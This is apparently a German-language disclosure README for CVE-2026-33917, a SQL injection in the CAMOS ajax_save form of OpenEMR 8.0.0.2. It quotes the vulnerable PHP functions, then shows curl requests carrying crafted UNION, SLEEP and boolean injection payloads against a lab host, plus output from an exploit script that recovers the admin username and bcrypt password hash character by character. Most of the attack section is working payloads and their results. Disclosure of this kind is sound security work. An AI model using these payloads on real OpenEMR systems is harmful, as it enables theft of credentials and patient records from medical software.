
CVE-2026-33917: SQL-Injection-Schwachstelle in OpenEMR <8.0.0.3
Schwachstelle CWE-89
Fehlerhafte Neutralisierung spezieller Elemente, die in einem SQL-Befehl verwendet werden ('SQL Injection') Das Produkt erstellt einen Teil oder das gesamte SQL-Kommando unter Verwendung von extern beeinflussten Eingaben aus einer vorgelagerten Komponente, neutralisiert jedoch spezielle Elemente nicht oder nur fehlerhaft, die den beabsichtigten SQL-Befehl verändern könnten, wenn er an eine nachgelagerte Komponente gesendet wird. Ohne ausreichende Entfernung oder Quotierung der SQL-Syntax in benutzerkontrollierten Eingaben kann die generierte SQL-Abfrage dazu führen, dass diese Eingaben als SQL statt als normale Benutzerdaten interpretiert werden. Erfahren Sie mehr auf MITRE.
OpenEMR 8.0.0.2 enthält eine SQL-Injection-Schwachstelle im ajax_save CAMOS-Formular, die von authentifizierten Angreifern ausgenutzt werden kann. Die Schwachstelle besteht aufgrund einer unzureichenden Eingabevalidierung auf der ajax_save-Seite im CAMOS-Formular.
Die Schwachstelle tritt im ajax_save CAMOS-Formular auf, wo benutzergelieferte Eingaben im Parameter content ohne ordnungsgemäße Bereinigung direkt in SQL-Abfragen eingefügt werden. Dies ermöglicht es Angreifern, bösartigen SQL-Code einzuschleusen.
Es gibt 3 SQL-Anweisungen mit derselben Injektion, demselben Einstiegspunkt und demselben Argument.
Die Schwachstelle betrifft die folgenden Dateien:
interface/forms/CAMOS/content_parser.php Zeile 127, 137 und 21interface/forms/CAMOS/content_parser.php Zeile 186interface/forms/CAMOS/ajax_save.php Zeile 28ajax_save-Seite, ruft die anfällige Funktion process_commands mit Benutzereingaben auf
$field_names = ['category' => $_POST["category"], 'subcategory' => $_POST["subcategory"], 'item' => $_POST["item"], 'content' => $_POST['content']];
$camos_array = [];
process_commands($field_names['content'], $camos_array);
content_parser-Modul, implementiert die anfällige Funktion
function process_commands(&$string_to_process, &$camos_return_data)
{
...
if (preg_match("/\/\*\s*date_add\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_add(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
if (preg_match("/\/\*\s*date_sub\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_sub(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
...
}
content_parser-Modul, Aufruf von addAppt
if (trim($comm_array[0]) == 'appt') {
array_shift($comm_array);
$days = trim((string) array_shift($comm_array));
$time = trim((string) array_shift($comm_array));
addAppt($days, $time);
}
content_parser-Modul, Funktion addAppt
function addAppt($days, $time)
{
$sql = "insert into openemr_postcalendar_events (pc_pid, pc_eventDate," .
"pc_comments, pc_aid,pc_startTime) values (?, date_add(current_date(), interval " . add_escape_custom($days) .
" day),'from CAMOS', ?, ?)";
return sqlInsert($sql, [$_SESSION['pid'], $_SESSION['authUserID'], $time]);
}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=f8cee855217b5740619ad53f0879da5b" --data 'csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3Ainjection"payload%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
SQL Statement failed on preparation: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and ...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/content_parser.php at 127:sqlStatement<br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/ajax_save.php at 28:process_commands(/*date_add::injection"payload*/,Array)
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
select date_format(date_add(date, interval <injection> day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?
Beispiel für eine boolean-basierte Ausnutzung:
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=0%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<font color=red><b>submitted: 1772104393</b></font>
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=1%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/
┌──(kali㉿kali)-[~]
└─$ python3 exploit2.py 172.18.0.3 372430245364b5ee0c46d7d24b5814f6 37fd2f55723113916cfd4ac17ab1fe7d41a5872a users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-33917
Dieses Projekt ist unter der MIT-Lizenz lizenziert – Einzelheiten finden Sie in der LICENSE-Datei.
Bitte zitieren Sie unser Paper: https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0